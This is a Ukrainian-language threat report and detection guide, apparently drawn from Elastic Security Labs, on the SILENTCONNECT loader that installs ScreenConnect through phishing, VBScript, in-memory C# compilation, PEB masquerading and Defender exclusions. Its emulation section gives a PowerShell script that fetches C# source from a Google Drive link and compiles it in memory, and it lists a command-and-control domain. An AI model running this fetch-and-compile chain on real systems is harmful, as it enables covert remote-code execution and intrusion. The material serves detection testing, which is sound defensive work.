Від запрошення до зараження: Як SILENTCONNECT доставляє ScreenConnect

Резюме

Звіт описує багатоступеневий завантажувач під назвою SILENTCONNECT, який покладається на звантажувач VBScript, компіляцію C# коду в пам’яті за допомогою PowerShell та маскування PEB для тихого розгортання інструменту дистанційного управління ConnectWise ScreenConnect. Атака починається з фішингового електронного листа, який направляє жертв через сторінку CAPTCHA Cloudflare Turnstile перед тим, як передавати корисне навантаження VBScript. Цей скрипт отримує компонент C# з Google Drive, компілює його в пам’яті, а потім завантажує MSI ScreenConnect з шкідливої домену для встановлення персистентності як служба Windows. Кампанія поєднує довірені хостингові сервіси з «живими» бінарниками для зниження детекцій.

Розслідування

Лабораторії Elastic Security виявили ланцюжок незвичайних попереджень Windows Script, які в кінцевому рахунку відкрили файл E-INVITE.vbs, що розміщений на Cloudflare R2. Аналіз показав запуск скрипта PowerShell, який викликає curl.exe для отримання C# файлу з Google Drive, який потім компілюється і виконується безпосередньо в пам’яті. Завантажувач використовував NtAllocateVirtualMemory для резервування пам’яті, застосував маскування PEB і додав виключення Windows Defender перед завантаженням інсталятора ScreenConnect за допомогою curl і його виконання через msiexec. Мережева телеметрія виявила підключення встановленого клієнта до C2 з bumptobabeco.top через TCP порт 8041.

Пом’якшення

Команди безпеки повинні стежити за підозрілими командами PowerShell, що викликають curl.exe, створенням тимчасових папок у C:Temp та незвичайною компіляцією Add-Type завантаженого C# коду. Логіка детекції також повинна враховувати маскування PEB, відмічаючи процеси, чиї значення BaseDLLName або FullDllName не відповідають реальному шляху модуля. Вихідний трафік до незнайомих доменів, які розміщують MSI інсталятори, слід блокувати або ретельно перевіряти, а виконання msiexec повинно бути жорстко кероване із недовірених джерел. Виключення Windows Defender можна застосовувати тільки через затверджені адміністративні процеси.

Відповідь

Якщо виявлені ці індикатори, негайно ізолюйте уражений хост, зупиніть шкідливий процес і видаліть встановлену службу ScreenConnect. Зберіть судово-медичні докази, включаючи тимчасові файли, скомпільовану .NET збірку та будь-які MSI пакети, що були скинуті. Відновіть несанкціоновані виключення Windows Defender та відновіть налаштування UAC, якщо вони були змінені. Потім проведіть пошук у ширшому середовищі на наявність схожих артефактів завантажувача та оновіть контент детекції з усіма нововиявленими IOCs.

Виконання Симуляції

Передумова: Тест на відповідність телеметрії та базових налаштувань повинен бути пройдено.

Обґрунтування: Цей розділ детально відображає точне виконання техніки супротивника (TTP), призначеної для активізації правила детекції. Команди та наратив мають безпосередньо відображати виявлені TTP та бути спрямовані на генерацію саме тієї телеметрії, яка очікується логікою детекції. Абстрактні або невідповідні приклади можуть призвести до неправильної діагностики.

• Опис Атаки та Команди:

  1. Початкове розвідка та отримання корисного навантаження – Зловмисник розміщує шкідливий C# файл на Google Drive. Використовуючи PowerShell, він завантажує сирий файл через Invoke-WebRequest.
  2. Компіляція в Пам’ять – Завантажений C# файл компілюється безпосередньо у пам’яті з використанням Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Виконання – Отриманий .NET тип ініціалізується, і його метод Run() викликається, встановлюючи зворотній з'єднанням. Обфускація
  4. Obfuscation – Командний рядок запускається з -ExecutionPolicy Bypass щоб уникнути блокувань політик, відповідаючи точним рядкам, які спостерігає правило.

• Скрипт Тесту Регресії:

  # -------------------------------------------------
  # Сценарій умовного супротивника – активізує правило Sigma
  # -------------------------------------------------
  # 1. Визначте URL віддаленого C# файлу корисного навантаження (посилання для спільного доступу на Google Disk)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Завантажте C# джерело у змінну
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Скомпілюйте та завантажте корисне навантаження в пам'ять
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Виконайте корисне навантаження (передбачається клас із назвою "Payload" зі статичним методом "Run")
  # -------------------------------------------------

• Команди очищення:

  # Видаліть усі тимчасові файли (ніхто не створений) та вивантажте збірку з пам'яті
  # PowerShell не надає прямого вивантаження; за необхідністю завершіть процес
  Stop-Process -Id $PID -Force